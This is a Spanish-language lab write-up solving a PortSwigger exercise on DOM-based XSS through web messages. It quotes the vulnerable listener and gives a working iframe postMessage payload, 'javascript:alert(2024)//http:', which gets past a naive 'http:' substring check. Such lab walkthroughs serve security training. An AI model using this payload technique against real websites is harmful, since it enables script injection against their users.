> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/web/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/web/dom-based-vulnerabilities/lab-2-dom-xss-using-web-messages-and-a-javascript-url.md).

# Lab 2: DOM XSS using web messages and a JavaScript URL

https\://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-a-javascript-url

El aplicativo web tiene en el código HTML lo siguiente:

```html
<script>
window.addEventListener('message', function(e) {
  var url = e.data;
  if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
    location.href = url;
  }
}, false);
</script>
```

Creamos un aplicativo web con el siguiente codigo:

{% code overflow="wrap" %}

```html
<iframe src="https://0af400be04bea2368159757100070042.web-security-academy.net/" onload="this.contentWindow.postMessage('javascript:alert(2024)//http:','*')">
```

{% endcode %}

Y luego de lo anterior:

<figure><img src="https://1990863415-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCohdns2VDWfowigRKoD0%2Fuploads%2FHkIQCepC9di0d4w4TIKE%2Fimage.png?alt=media&amp;token=3adf2e88-ae89-4b87-b8eb-0de822319360" alt=""><figcaption></figcaption></figure>

Es importante resaltar, que el script valida o busca la existencia de la siguiente palabra: `http:`

Si esta no se encuentra presente no se desplegara el XSS.